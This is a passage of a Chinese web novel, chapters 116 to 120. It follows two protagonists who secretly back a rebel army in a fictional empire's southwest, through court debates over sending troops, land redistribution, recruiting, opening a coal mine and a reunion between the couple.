“还是怪这些偷偷离开的大户人家带走了不少人,不然也不至于如此捉襟见肘。”蔺肃叹气,也不知这些跑路的大户是怎么想的,竟然还有功夫带走家仆,难不成他们手里的财富就这样多,需要带上所有家奴才能运走? “人都走了,咱们本就有意要他们去各地给咱们扬名,不必再想。”樊泊虽然也觉得可惜,但事已至此,多想无意。 “嗯,白鹤县的私塾也要尽早开始筹办,清平县的私塾已经有念了一年书的孩子,要是有出息,再读两三年,便能帮咱们做事了。” 更高的学问当然也有,但能教的先生却没几个,再一个他们也没那么多时间叫所有孩子继续钻研学问。 “你惦记他们,东家也惦记他们,人只有这么多,与其想着和东家抢人,不如想想法子,寻些人手来帮忙。” 蔺肃闻言挑动眉心:“有人寻到你面前,毛遂自荐?” 玄甲军虽然只占据一个白鹤县,但这么久以来,县里井然有序,看不出一点乱象,已经证明玄甲军绝不是突发奇想的乌合之众,有点脑子,又敢赌的聪明人会来投奔也是理所当然。 “不错,出身地方豪强,这样的人只是自己来还好,若是举家而来,只怕有意分权。”地方豪强愿意投资,为的是什么,还不是为了破天富贵,自古从龙之功能分得的好处,几乎等同于鲤鱼跃龙门。 不说远了,就说跟随大历开国皇帝的臣子,有不少都是草根布衣出身,事成之后哪个不是封侯将相,子孙后代便是不成器,也能富裕几代,比任何投资都划算。 “时下的读书人,莫不是想着学成文武艺,货与帝王家,但你我清楚,东家绝计不想和大历一样。” 东家想建立一个什么样的朝代,蔺肃想象不到,他能做的只是听从东家的话,一点一点改变这个腐朽的时代。 若天底下唯一能够明白东家所想所求,怕只有别公子,想起东家最开始来信就阐明,他愿意起兵的源头是因为别公子。 说起来他们这支造反队伍,该是别公子为首才是,不想别公子到西南后几乎隐身,叫东家手里的人都以为别公子只是听从东家的附庸。 代理刺史一出,想必在清平县做事的人才清楚,别公子和东家是平起平坐的地位,不是皇帝君后的关系,而是两个做决策的人,他们造反的队伍从一开始就有两个主公。 “我不知道东家想要建立怎样的王朝,但我这条命都是东家给的,我只需要给东家卖命即可。”樊泊领兵之后,或许有一展所长的兴奋,但同样他也清楚,他过来西南最主要的是报答东家的救命之恩,绝不会有非分之想。 “东家的眼光历来是好的,既如此,你将人引荐到我这里,我看一看前来投奔的人是不是有资格入场。” …… 盘州城。 自从王刺史被俘,盘州城的其余官员已经着手人马去长安报信,知道眼下长安无暇顾及西南的情况,他们所求也不过是西南边军的指挥权。 只要西南边军能够听从盘州官员的调遣,一支不足万人的乱军不足为惧,但左等右等,白鹤县的玄甲军甚至对邻近县城都蠢蠢欲动,眼看着要发兵了,也不见朝廷回信。 “莫不是信使在路上耽误了。”这事倒不是不可能,但他们又不止派遣一人去长安,一个人遇险也就罢了,都遇险未免过于匪夷所思。 “白鹤县是西南同往长安的主路,除非走水路不然都绕不开白鹤县,咱们的人想去长安,要避开白鹤县,需要绕远,多费些时辰也是应该的。”西南的绕远可不是简单的绕路,因为山连山的缘故,绕远路跟翻山越岭没什么区别。 若是走一些商队为了避税的小路也就罢了,若是走荒山野岭,只怕能活着出西南都是罕事。 “这样说,岂不是指望不上长安那边,或许咱们可以想法子先调动西南边军。”先斩后奏这一招虽险,但眼下这个情况不先斩后奏,基本等于全盘皆输。 “从前或许还行,但自从出了蔺家的事,整个西南边军都被肃清,没有虎符调动不了大军。”他们特意遣人去长安,除开要圣旨将调军变的名正言顺,最要紧的还是需要虎符,不然西南边军是不会动的。 除非乱军打到西南边军城下。 偏偏这支乱军选的位置离西南边境极远,眼下恐怕都没把消息传到西南边军耳朵里。 “朝廷若是一直没有消息,咱们难不成就在盘州城等死么?” “也不必如此想,陛下这次征兵加税各地该都献上去了,西南因为乱军的缘故,想必所有征兵加税都被留在西南,朝廷一直收不到西南的消息,自会发现异常。” 西南历朝历代都是乱过的,只要消息一被截停,八九不离十就是有人在西南造反,几十年前西南才经历过约莫十数年的自治,后来是前朝的武将收复回来的,当时杀了不少人,才有了近几十年的太平。 “怕就怕,等朝廷反应过来,这支乱军已经占据盘州城了,到时候长安平乱,你我也都是刀下亡魂,有什么用?” 说来说去,在场的人都还是怕死,王刺史胆子大,领兵和乱军打起来,但有什么用,现在还不是成了阶下囚。 “诸位若是没有好的办法,咱们就要商议如何在乱军过来之前,逃离盘州城了。”弃城而逃虽被人诟病,但能活着谁也不想死,尤其是他们身价富贵,比百姓更怕死。 “再等等,万一有转机,咱们逃了只怕朝廷之后不会放过我们。”实在是玄甲军还没扩大地盘,他们还有一点余地。 包袱可以先收拾着,等时机不妙,再走不迟。 第117章 “华春、明南、乾方几县都空着县令的位置, 咱们的人差不多控制住这几个县了。”魏管事跟着尚柒到了华春县后,已经见到华春县百姓有条不紊的开始修建私塾,这是多亏了县里有人, 不然只怕还有的拖延。 “还不够, 各县的蛀虫最好能够一并清了。” “东家, 这有些强人所难了, 清平县的富户能够被这么快拿下治罪,是咱们有背景也有人手,这几个县咱们又不是名正言顺接管县衙,贸贸然对付富户,容易得不偿失。” 最重要的是富户手里有人, 佃户为了有田可种个个死心塌地, 如果不是县令出手, 以官威压住百姓对富户的恐惧,只怕难以取信百姓。 “也不一定要正规手段。”尚柒做生意也不全然没耍过手段, 对付富户又不只能指望官府,商业竞争也能扳倒人, 富户打架, 百姓还能掺和不成? 魏管事好歹也跟在东家身边多年, 一点就透:“华春县的富户多做布匹粮食生意, 想要打垮他们不难, 唯一需要担心的是容易伤及无辜。” 富户有好有坏,好人和坏人也肯定做同一种生意, 打压一种生意,难免波及无辜,他们的本意还是除恶扬善,不好连善人一块除了。 “那就做局, 为恶者多贪,请君入瓮一计可对症下药。”这年头做假生意的也不是没有,被骗的倾家荡产的商人比比皆是。 按说生意人该有几分机警,遇上生人谈大生意,不把人祖宗十八代查清楚都不该接,奈何有时候钱财迷人眼,明知前面有坑,还是义无反顾的跳下去,说到底还是贪婪惹祸。 “我会尽快去信宋管事,让她着手办的。” “你倒是会使唤人。”尚柒虽本意也不是叫魏管事去干这事,毕竟比起生意场上的弯弯绕绕,魏管事还是比较适合干实事。 “宋管事本事是东家信赖的,我就不出面丢人现眼了,真要是差事没做好,还要扰了东家的大计,等宋管事忙完这些富户,我可以接手收尾。” 什么人干什么事,东家一早就告诉过他们,魏管事自然也想一展身手叫东家刮目相看,但前提得有那个本事。 “月隐只怕没空,不过想来有人愿意接手。”比起他发家还是稳扎稳打占多,此云做生意,就要经历更多尔虞我诈,在长安做事的管事哪个没有两把刷子,更不说在此云手里做事的人。 不提其他人,就说替此云打理生意的书墨琴砚,哪个不是生意场上的高手,单拎出来一个都足够对付这些小县城的富户。 …… 应州城收到消息的别此云高挑眉头,尚柒不光把主意打到他身上,还打到他两位得力干将身上。 “公子?”琴砚见公子盯着他一动不动,还当是他出了什么纰漏。 “眼下有一桩事,你和书墨谁有空去?” “是姑爷那边需要人手?” “嗯,华春几县没有县令,尚柒的意思是先除掉县里的毒瘤,但官府不好出面,只能私下来。”说来别此云一直和长安的世家打来打去,真降级到富户,还要多调查一番,免得阴沟里翻船。 “我还要在公子身边伺候,让书墨去吧。” “其实不必因为我限于一地,眼下不在长安,西南又有几地已然是我们的地盘,可以施展你的所长。” “公子何出此言,难不成在公子身边就不能一展所长吗?”琴砚略带笑意的询问。 别此云摇头:“我只怕你们因为我的缘故,耽误前程。” “公子此言差矣,留在公子身边,才算是前途无量,陛下身边的金公公,便是老大人见了也要笑颜相待不是?” “哪有把自己比作公公的。”别此云被逗笑,“我的话一直有效,日后西南有的是用人的地方,你知我和尚柒唯贤是用,无论身份只要有本事亦有高官厚禄相待。” “我去通知书墨,接手华春几县的事。” 别此云见人溜的快,也不强求,他的目光落在家书上,盘州送去长安的信大部分都被玄甲军的人拦下来了,但整个西南去长安的路又不止一条,真有人愿意翻山越岭走小路,也不是没可能到长安。 —————————— 事实也如别此云所料,因为长安迟迟不回信,盘州城的官员几乎是隔几日就派遣信使出西南,原先送信的路线都不走了,现在走的都是西南土路,除开一些本地人家少有人清楚。 玄甲军目前只占据了白鹤县,没有完全封锁西南和中原的交界,尤其是水路,信送到长安广运帝手里不过是时间问题。 原本长安因为边关之事就忙的焦头烂额,等盘州城的信使到了朝堂,更是让乱成一锅粥的朝廷更加沸沸嚷嚷。 有人说西南之地历来多乱,眼下最重要的还是边关战事,等忙完边关再平西南之乱,发言的主要是户部,实在是因为国库的钱都送去前线了,再分给西南平乱,不若叫户部的官员全血撒金銮殿好了。 也有人说,眼下不过是占一县的小匪,正是乘胜追击的好时候,不该给人发展的余地,真要是叫人占据整个西南可怎么得了。 两派人吵的不可开交,别家这次是站出兵平乱一方的,因为别此云在盘州隔壁的应州,别看眼下乱军只在盘州白鹤县活动,真要是任其发展,早晚是要打到应州去的。 这次乱军也聪明,先占据盘州,切断西南和中原的联系,好叫盘州以西的州府孤立无援,看乱军都在西南活动这么久才有信送到长安,就知道这支乱军不是小打小闹,最少都想要占据西南当土皇帝。 广运帝听着朝堂入菜市场一样的吵闹,疲惫的按住额角,大呼肃静后,退朝了。 不过退朝后,招了三省六部的主官去御书房开会,想必是打算私下商议是否要出兵西南平乱。 兵肯定是不能从长安出,毕竟西南也有边军,调遣一部分军队过去对付乱军即可,只是调动边军也要给粮草,长安这边肯定是拿不出来。 “西南这次加税尚未送到长安,想必就是因为这支乱军占据白鹤县导致的,不如就将这次西南的加税当做给边军的粮草如何?” 这个提议一出来,三省六部的官员纷纷点头,没一个质疑这些粮食万一已经落到乱军手里怎么办。 毕竟上头的人只需要做决策,事情没办好不是下面的人没尽心尽力吗? “不过调多少边军去平乱合适?”多了,怕边关不稳,虽然西南边关有天然的地势做隔绝,一般不会出现外族突袭的情况,但不怕一万就怕万一。 眼下大历可没办法再来一场边关战。 少了,怕全军覆没,信使明明白白说了,盘州城的王刺史率领近万人的府兵平乱,大军被俘不说,自个儿也在玄甲军手里,生死不明。 既然要出兵肯定还是想将乱军拿下,不是给人送经验的。 “或许可派遣两万人马?” “先前乱军俘获府兵近万人,兵马合计也有一万多人,只派遣两万人平乱,是否太少了。” “行兵打仗,收降俘虏岂是那么简单,近万人被俘,哪有那么快倒戈,真要是被乱军收编,只怕也不敢叫他们上战场对付朝廷的兵马。” “不错,再一个白鹤县如何供养一万多大军,除非这支乱军抢光了白鹤县的存粮。” “几千人就能俘获近万人,必然都是训练过的,西南突然冒出一支受训的乱军,只怕背后有人支持。” 话说到这个份上,就不是说乱军了,而是暗示朝中有人在西南谋反,这人选也不难猜出来。 原先西南有平王的封地,上一次陛下清查几个皇子手中的私兵,平王干干净净本就惹人怀疑,这时候西南冒出来一支几千人的乱军,绝计和平王脱不了干系。 只是平王已经被夺了封地,人还在长安就造反,未免太不把陛下放在眼里了。 广运帝自然也是这样想的,不然好端端的西南为何会突然冒出乱军。 “调遣边关三万人速速平乱,西南不可再生风波。”广运帝没有心力耗在西南上,西南多山,地势险峻,耕地面积不及中原辽阔,与中原来往也不方便。 这块地虽没有岭南鸡肋,但也不受帝王看重,若非是西南历来是天下的一块,不少皇帝说不定都不打算多料理西南。 “陛下,西南边关的将领因为蔺家一事,多有牵扯的都被罢职,眼下领兵三万,不若从朝中出人,不然西南容易群龙无首。”有几分聪明的武官已经注意到这次平乱也是功绩,比起去北面边关面对付突厥人攒战功,不若去西南一趟。 泼天功绩便宜给西南拿群土包子,简直是暴殄天物。 “只怕不好,长安的将官不曾领兵西南的边军,突然派遣去,容易出现将不知兵,兵不明将的情况,还是叫西南的将军领兵平乱的好。” 武官想要功绩,文官当然也清楚这些人的心思,但从突厥一战也可以看出来,这些在长安养尊处优的武官没几个有本事,真叫人掺和进去,说不得是个搅屎棍,乱没平成,人还搭进去。 于是御书房又为谁领兵平乱吵的不可开交。 第118章 苏怡然自从听闻丈夫说西南生乱, 心里就不得安生,当初太子遣尚柒去西南她便不愿意,但家里不好和太子关系闹僵, 方才叫此云和尚柒被迫离开长安。 眼下别家和太子关系已然是修复不好了, 照她的意思, 尚柒也干脆别在西南当官, 直接带此云回长安就是。 哪怕没有官职,别家还没本事给尚柒弄一官半职当吗? “夫人的意思,也是我的意思,只是上次信送去西南还未收到此云的回信,我就在想, 长安和西南的联系怕是被切断了。”不至于说全然没有联系, 不然盘州城的信使也到不了长安, 但随着乱军势力扩大,只怕是没那么容易和清平县联系上。 “情况已经危急至此了?”苏怡然还当乱军在白鹤县, 未曾波及清平县,到底两个州, 中间隔了几百里。 “具体情况不清楚, 信使到长安已经是乱军占据白鹤县多时了, 说不得眼下乱军又在盘州攻下更多城池, 离开西南, 无论如何都要经过盘州,不然只能从西北绕远, 眼下西北和长安相连的道路,也不太平。” 苏怡然焦急的踱步,是了,乱军要是有本事, 一个月再拿下盘州几城不是问题,只怕西南和长安之间的联系已经被切断。 “不若咱们派遣部曲走一趟西南,悄悄护送二人回来。”她不信乱军还能控制住整个西南。 “不必铤而走险,儿婿老家在西南边境,乱军真要是打过来,他们必然会回西南边境避祸,边境有守军,不会对乱军坐视不理。” 比起冒风险走乱军境内回长安,别洵松更赞同留在西南,至少尚家本家在黄州礼县,不算孤立无援。 虽说眼下朝廷已经决定叫西南边军剿匪,但看眼下西南的局势,圣旨很难送到边军手里。 “可要是乱军当真占据整个西南,叫此云他们如何有活路?”乱军什么样,长安的世家是再清楚不过的,就算没亲眼见过,但家族秘史里一定有所记载。 “没那么快,这支乱军只几千人,想要一口气占据整个西南,不是几月功夫就能成的,在有一两月功夫,边关的战事该要结束了,等北面边关事了,朝廷就能腾出功夫对付乱军。” “话虽如此,但难保出个什么岔子。”苏怡然知道别洵松说的都是实话,但要她将此云置身乱军之地,总是心有不甘。 “西南太远,咱们鞭长莫及,眼下只有尽人事听天命。” …… 凤来县。 凤来县县令因为白鹤县乱军在侧,已经举家逃跑了,而从白鹤县逃出来的富户嘴里得知,白鹤县的乱军强买强卖土地,还不许私下屯田,立刻叫听见风声的地方豪强和各个富户感受到了危机。 地何等重要,要说历朝历代垮台的原因,绝对少不了王朝末年的土地兼并,大历眼看着也在亡国的边缘,土地兼并的情况只多不少。 不少地方豪强就是不做生意,光靠手里千亩良田也能保荣华富贵,乱军一来就要撅地方豪强的根基,他们能答应才怪。 倒是百姓听闻玄甲军给百姓分地的事,都盼着玄甲军过来。 “分地到底是怎么个分法?原来有地的人家难道就不给分,只给没地的分,那有地的岂不是吃了大亏?” “是这个理,咱们手里的地哪个不是祖祖辈辈辛苦攒下来的,转头那些破落户得了好处,轻易拿了田地。” “我在白鹤县的亲戚说是有地的人家愿意把地卖给玄甲军,那就给些补偿,到时候再一块分新地,若是不愿意,也给些补偿,便不给分新地。” “玄甲军竟然这样大方?历来只听说乱军抢百姓的田地,没听说给百姓分地还给补偿的。” “补偿也不多,低于市面上的均价,照玄甲军的意思,给了补偿就要守他们的规矩,地有地契,名义上归你,但私下里不能买卖,要卖只能卖给玄甲军,价钱么肯定不高。” “那岂不是不能卖地应急了?” “什么话,好端端的地在手里不留种,卖了做什么?”有不少人听到这话,都拿看败家子的眼光看发言的人,对农户人家来说,地历来都是家里的不动产,除非走投无路,不然谁乐意卖地换钱。 “就是,不过听闻只要户籍不再是农户,衙门也会把地给收回去,分给新人。” “合该的,都不是农户了还拿着地,那不是占着茅坑不拉屎么?我瞧玄甲军这事办的好,只是也不晓得玄甲军什么时候打过来,村里人都盼着玄甲军给分地呢。” “我听白鹤县的人说,玄甲军已经在整军了,说不得哪日就打过来了,咱们还是在家里多准备些粮食,玄甲军过来虽然不烧杀虏掠,却也不喜百姓在外走动误事。” 村里人还好,家家户户都有余粮备着,就是院里都有小菜地,便是关十天半个月,除了耽误地里的活,也不当什么。 唯一要担心的只是柴火和水,这两样多备一些在家里,就什么都不缺了。 县里的人却不行,柴米油盐或许还有余量,菜就需要每日买新鲜的,毕竟买的多了也容易坏掉,但光吃主粮也不成,连茅房都上不出来,还是得买一些能久放的蔬菜。 所以等玄甲军过来的时候,凤来县的百姓一个个都乖觉的很,还有殷勤的,颤颤巍巍的打开门,请巡逻的军爷去家里喝碗水,想要打好关系。 “凤来县的富户跑的倒是快,连地也不要了,还是脑子不够聪明。”蔺肃一行人从白鹤县到凤来县坐镇,看过驻军收集来的消息。 凤来县好打,几乎没怎么动刀子就成功入了城,这些兵丁都被吩咐过,特别关注城里各个富户的动向。 不少富户被乱军的名头吓破了胆,为此连夜拖家带口跑了,留下的不动产却是便宜了玄甲军。 白鹤县的富户好歹还是拿了玄甲军的补偿才跑的,凤来县的富户,直接把房子和地拱手相让,也算是节约了玄甲军的预算。 “先前白鹤县逃出来的富户,大肆宣扬咱们残暴不仁,比起一点田地补偿,自然还是身家性命重要,跑了也好。” “人虽然跑了,但罪证还是得查,可不是跑了就能免罪的。”富户里罪大恶极的人不少,眼下放过不代表日后也放过。 早晚有一日,玄甲军一统大历,这些罪犯都是要下狱改造的。 等玄甲军彻底占据凤来县后,百姓们也得以出门活动,玄甲军的效率还是在,几乎没耽误几日功夫,就让百姓自由活动了。 整个县里的百姓都盼着分地的事,不想先一步贴出来的告示反而在说玄甲军要征兵,征兵条件也都写在告示上,连军饷多少都一并写上,叫不少百姓看的眼热。 “只是当兵,一月的饷银就有一两,可比做工赚多了。”西南穷,哪怕白鹤县是富县,一日的工钱撑死了四十文,东家大方的,完工会给点赏银。 大部分做工都在二三十文左右,像是应州的穷县,一日十文也有人做,饷银能给到一月一两,就压过做苦力的。 且短工不是日日都有,长工一月不过几百文,算下来还是当兵赚钱。 自然也有怕死的,行军打仗不可能没有死伤,若是死在战场就得不偿失了。 “人家告示也写了,殉职给的抚恤银两也不低,咱们这条贱命自卖也没多少钱。” “钱给不给的到手里都是一回事,也就是看看,不值得把命都送出去。” 招兵告示在凤来县虽引起了诸多讨论,但应召的没几个,白鹤县就不一样了,告示一贴出来,就有不少儿郎报名。 毕竟打玄甲军占据白鹤县后,白鹤县的百姓是亲眼看见玄甲军对当兵的如何好,光是军爷每日吃的饭菜,就够人馋的流口水。 时下不是富户,哪家哪户隔三差五就有肉荤吃,便是没肉的那日,也有鸡蛋鸭蛋鹅蛋换着吃,这样好的待遇,可不吸引人么。 尚柒不知道玄甲军已经得了白鹤县百姓的人心,想必要不了多久,军队规模就要扩一扩了。 这会尚柒正跟着人翻山越岭,要说西南这么多山,也都是香饽饽,铁煤矿都是有的,只是朝廷没有大规模勘探过,便宜了他们。 眼下就是听闻勘矿的师傅发现了煤矿的矿脉,尚柒连手头的要事都推了,跟这勘矿的师傅走一遭。 “这处煤矿是个小矿,煤产量比不算中原的大矿,但能开采的煤矿也不少。”勘矿的师傅头发花白,身边跟着几个学徒,一点一点给尚柒介绍勘探出来的新矿,“大人想要尽快出煤矿,就得抓紧时间召集人手。” 挖矿历来是苦差,清平县附近的铁矿就是用的囚犯,此地的煤矿倒是也可以用囚犯,但应州城哪来这么多囚犯。 “我会尽快着人安排。”没人手就是招也要招人来开采,西南多山,山林树木茂盛,瞧着不缺柴烧,但百姓当真铆足劲用柴,怕也撑不住。 就说时下百姓,因为烧水做饭费柴,都是喝生水,吃冷饭,平日洗澡都吝啬的很。 从医学上说,百姓若是能杜绝生水,能减少大部分疾病,可惜能做到这点的寥寥无几,再一个煤矿多起来后,县里就能开设开水房,以便宜的价格卖给百姓使用。 至于人手么?应州城没有足够的囚犯,就只能先看看能不能招工做事。 第119章 “挖矿, 这事可做不得。”有百姓听闻官府招人挖矿,聚拢在一处,摆手道不成。 “如何做不得, 我看告示上给的工钱甚高, 做几个月, 家里孩子结亲的钱都有了。” “光看工钱有什么用, 矿里是要死人的,从前在矿里做事的矿工,只要一塌方没几个有命回来,这钱有命挣,没命花。” 挖矿历来都是派遣囚犯去做, 但矿脉多, 光靠囚犯是不够的, 民间也招百姓去做工,说来大历挖矿给的工钱也不算低, 但除了当真走投无路的,还真没几个愿意去挖矿的。 “告示上还写了, 真要是出了事, 不光给抚恤金, 还给家里人安排轻省的活计, 咱们命哪里值钱, 光看告示给的抚恤金,就是当场要了人命也有的是人抢着做。” 这话是不假的, 多少人家给县里富户做事,有出意外的,能赔两个钱的富户都是有良心的,那没良心的还要找苦主给钱, 说人死了耽误他们做活的进度,需要给赔偿。 谈话间,已经有不少百姓去报名了,都是乡下汉子,不想人招工还要挑一挑身强体壮的。 “其实身材矮小些的更好下矿,毕竟矿洞不大,照我说,这活姑娘哥儿也做得,只是看人肯不肯吃苦罢了。” “只要招人,必然是招的到的,但矿洞里不能叫姑娘哥儿和儿郎一块下矿。” 魏管事听到东家的话,心里一琢磨,大抵明白东家的担忧,这事还真不是东家杞人忧天,在礼县,东家招工做事不分男女的时候,就有不少儿郎借做工之便调戏姑娘哥儿。 东家一开始就对这样的事深恶痛绝,发现一个,就送一个去吃牢饭,当时的礼县县令也看在东家的面上,对这些犯人严惩,方杜绝了此类事情的发生。 后头越来越多姑娘哥儿做工,一个个性子也越发泼辣起来,做工的时候但凡有哪个敢动手动脚的汉子都是先被联合揍一顿再去见官。 为此礼县几乎不再有这样的事发生,可换到应州,魏管事不对大历百姓的素质抱有太大期望,尤其是矿洞又深又小,人真在深洞里做些什么,都来不及阻止。 “回头我想个章程,实在不行,就分队伍下矿,只要在矿洞地下碰不到,该不会出事。” “也不必只盯着挖矿,姑娘哥儿招来可以洗煤,煤除开做取暖的燃料,我还有其他大用。” “东家有安排就成。” “等煤矿的事了,我准备去应州,到时候你先回清平县坐镇,务必监督这些县城将官道联通。” “是,东家。” —————————— “别大人,盘州的乱军又占了凤来县,听凤来县逃出来的百姓说,乱军已经开始在盘州招兵买马,咱们当真不管?”应州城的官员旧事重提,想来也是被乱军扩张的步伐吓的不轻。 毕竟乱军就在隔壁,指不定哪一日就打过来了。 “盘州城的官员可有说什么?”别此云当然不可能对乱军的事一拖再拖,不然早晚叫人看出端倪。 “盘州城那边倒是没听说有什么动静,想是已经从长安求援,但乱军打地盘历来想一出是一出,若是乱军不打盘州城转头打应州城,咱们该如何是好。” 别此云面色复杂的看向说出这话的官员,好歹也爬到州府当官了,怎么一副没见过世面的样子,就是没领兵打过仗,最基本的判断该还是有的。 “盘州城离乱军近还是应州城离乱军近?” “自然是盘州城,但盘州城” “盘州城眼下刺史被俘,群龙无首,又离乱军不过百里之遥,乱军若是拿下盘州城,就可封锁整个西南和中原的主要沟通之道。 那么你告诉我,乱军是得了什么失心疯才会改来打应州城,放弃盘州城。” 被别此云一番呵斥,说话的官员面容涨的通红,显然也知道自己说了个蠢话,但乱军就在卧榻之侧,哪个敢说不怕乱军发失心疯打过来。 指望朝廷是没用的,大家伙都知道边关战事迫在眉睫,朝廷要是有办法也不会举国征兵加税,去边关支援。 “别大人,要不以别家的名义去信西南边军,看西南守军愿不愿意出兵相助。” 别家是太子的人,别家调动兵马也就是太子调动兵马,别看陛下还健在,太子不一定能调动大军,但太子是储君,以太子的名义行事必然比地方官员胜算要大。 “我知各位对乱军六神无主,但也别什么歪主意都打,陛下对皇子私联军队极为忌惮,诸位想要拉太子下马只管明言,不必拐弯抹角。” “别大人怎么能歪曲事实,我等对太子殿下亦是忠心耿耿,哪里敢对太子不敬。”不说太子会不会荣登大宝,只要人一日是太子,他们这些地方官只有捧着人的份。 “既然不敢对太子不敬,那有些话还是得掂量掂量再出口,我不知前任刺史究竟是如何管理你们,叫你们说话这般口无遮拦,但在我这里,有些话能说有些话不能说,诸位还是不要祸从口出。” 别此云语气不算严厉,但一番话出口,眼前的官员无一不面色发青。 “别大人教训的是。” “至于你们说的乱军,若是当真害怕人打过来,只管辞官离开就是,趁着乱军还没有全盘接管盘州,水路还能离开西南,想走我必不拦着。” 而下面的官员听到别大人说叫他们辞官离开西南,又纷纷摆手不同意,天塌了有高个子顶着,别大人都没走,他们跑了,荣华富贵焉能还在? 听得这群人纷纷表忠心,别此云左耳朵进右耳朵出,直到有眼色的官员示意同僚安静下来,才叫别此云重新集中注意力。 “城里的富户对乱军的事有什么想法?”衙门的官员贪生怕死,城里的富户也都不遑多让,只是平日别此云不同富户有过多接触,倒是不知这伙人私下里有什么小动作。 “城里几家富户倒是差人到衙门过问乱军之事,但都被我等打发回去,私下里却不知有什么举动。”衙门担忧归衙门担忧,但这些官员也都不是真傻子,衙门内部的消息,没有几千金砸到手里,能给这些富户通气? “盯紧他们,乱军能出现在盘州,保不齐也会出现在应州。”别此云给这些官员心里种下一棵怀疑的种子。 “大人的意思是这些富户会趁机起兵?”说话的人倒吸一口凉气,显然这些官员从来没想过治下也会出现乱军。 “为何不可能,眼下朝廷自顾不暇,西南又是自古以来的乱地,盘州能冒出一支乱军,保不齐西南其他州府有学有样,不说打去长安当天子,单是在西南当土皇帝就多的是人趋之若鹜。” 且历来起兵的乱军,大部分都是地方豪强,真土匪能打出成绩的,寥寥无几。 “大人放心,我等一定仔细盯着这些富户的动向。”西南出一支乱军已经让在场的官员人心惶惶,再闹出一支,还就在应州治下,他们还要不要活路了。 “嗯,下去吧。” 终于把缠人的官员赶走,别此云松了口气。 “长安近来有什么消息传来吗?”别此云询问琴砚。 “家书尚未收到,但长安管事送了信过来,朝廷对西南乱军的政策,是打算调遣西南边军平乱,圣旨还未送到西南,不过已经通知蔺管事务必将圣旨截下。” 还是要尽快拿下盘州全境,不然消息一直有遗漏,容易生事。 “近来有投奔我的人才吗?”别看别此云只是代理刺史,但眼下应州诸事都是他说了算,好歹也是一州高官,总能吸引几个想要一步登天的谋士。 “有几个,但多是趋炎附势之辈,叫我给拦下来了。”不是琴砚越俎代庖,实在是过来谋求职位的人不成大器,真要是叫人到了公子面前,指不定要给人气个好歹。 “也不算意外,尚柒那边有人投靠吗?” “也有几人,都是宋管事在应付,不过看模样,也没人进宋管事手里做事。” 别此云垂目,他和尚柒就这么不值得被看好? “玄甲军呢?” “玄甲军倒是去了不少有识之士,蔺管事私下过过眼,有几人当真不错,就是出身地方豪强。” “有识之士必然是有背景,出身地方豪强不要紧,只要不利用这层身份帮家里为虎作伥便是。”眼下玄甲军在白鹤凤来两县行事都一视同仁,遇上地方豪强也绝计不会手软,希望这些天投奔玄甲军的谋士,不会看不清形势。 “蔺管事还送了一则消息,听闻王刺史妻子带着名下儿女到了白鹤县。” “哦?”这事别此云还真有几分吃惊,不说别的,一般人遇上这种事,多还是夫妻本是同林鸟,大难临头各自飞,举家入虎口倒是头一回听说,“她们的诉求是什么?” “只说一家人死也要死一块,于是蔺管事就将她们也下狱了。”王刺史有大才,便是不能为己所用,姑爷和公子也不会轻易砍人人头。 别此云闻言忍不住笑出声,蔺肃实在有办法,难怪能得尚柒这般看重:“王刺史是不是因为妻子儿女下狱,有所动摇了?” “正是,蔺管事送信来,说是不出几日,必在麾下纳入一员大将,要公子和姑爷放心看着就是。” “是该要好好看看。”也不知尚柒得到这个消息会不会笑出声。 第120章 张阿大将马车停在应州城衙门口, 这个时辰别公子必然是在衙门办差,东家过来应州城,定然是要寻别公子的, 去哪儿都不如来衙门好使。 要说打东家和别公子成亲后, 二人也不是没分开过, 但头一回分开这么久, 虽然都在应州城的地界,隔三差五也有书信来往,但他老实瞧着,东家怕是想别公子想的厉害,若非是正事牵绊, 只怕早就过来应州城了。 作为担着替东家赶车这样的重任, 张阿大必然熟读东家的想法, 替东家分忧。 “哪家的,过来衙门做什么?”衙门口执勤的捕快不似大历差役的懒散, 因为代理刺史虽是个哥儿,但办事雷厉风行, 过来衙门这么久, 几乎是把衙门里里外外都清扫了一遍, 不少偷奸耍滑的小吏都被赶了出去, 谁的面子也不给。 好在留下的小吏工钱都涨了, 看在钱的份上,一个个办事也都利索起来, 连带着应州城的治安都好了不少。 “清平县尚县令前来拜访刺史。”张阿大自报家门,只见那捕快一听来人的身份,脸上略有不耐的表情立刻殷勤起来。 “原是尚大人过来,是我有眼不识泰山了, 快快快,请进,我这就着人去寻大人通报。” “有劳。”张阿大见人进了衙门,回到马车上,“东家咱们进去吧。” 尚柒掀开车帘,这段时间风餐露宿,整个人瞧着都疲惫了不少,好在年轻底子在,还能扛得住,真到了三四十的年纪,只怕已经要倒头就睡了。 应州城的衙门自然是比县里的衙门要气派的多,衙门里也大,若没有人引路,七拐八拐的连廊就够人头晕。 不多时,就见琴砚往外走的身影,见着姑爷后,琴砚更是加快了脚步,他在公子身边伺候着,可是晓得公子有多想姑爷。 一行人快步回了别此云办公的地方,只见原本该专心处理公务的刺史大人难得心绪不宁,等听见脚步声,再坐不住,匆匆出门,见着下颚还冒着青茬的尚柒,也不顾大庭广众直接扑到人怀里。 尚柒自然是做好了准备接住人,明明也没多久不见,但再次将人抱在怀里,却感觉时过境迁。 “又瘦了。”虽不到瘦骨嶙峋的地步,但比起在清平县又清减了几分,这次过来应州城,胡娘子也是专程过来的,有胡娘子的手艺在,人不可能说胃口不好,多半还是杂事缠身。 “天气渐渐热起来,清减些也正常,你不也瘦了。” 尚柒身板一惯修长,穿上读书人的士子衣衫,半点瞧不出人皮下有一层不错的肌肉,但他夜里见了许多次,也摸过许多次,只一抱是瞒不住他的。 “只是抽条长高了。”真要说尚柒的确还是成长期,个子几乎一天一个样,加上这段时间东奔西走,不可能不瘦。 “看来我们都得好好补补。”别此云不得不承认,有尚柒在身边,她他的确能多吃一些,至少在干正事废寝忘食的时候,有人记挂他没吃饭,强迫过来一块用膳。 “好,不吃三碗不许下桌。” “胡娘子该要高兴的合不拢嘴了。” 尚柒轻哼同意,余光察觉到一些房门前若隐若现的人影,多半也是在偷偷观察他和此云,尚柒不喜欢被别人看戏,松开抱人的臂膀。 “进屋说话。” “嗯。”别此云的手牢牢被尚柒牵着,即便不能拥抱,两人也是不愿意分开的,这还是在衙门,要是这会在尚府,指不定要闹出什么动静。 办公室里没别人,又有琴砚在门口守着,两人之间便不怎么规矩。 “人肉椅子坐着比木椅子是要舒服一点。”别此云坐在尚柒怀里,半点也不想翻看公务了。 “布衣沙发我不能给你变出来,但弄几个垫子放在椅子上想是不难。”在清平县办公也不见这么委屈自己。 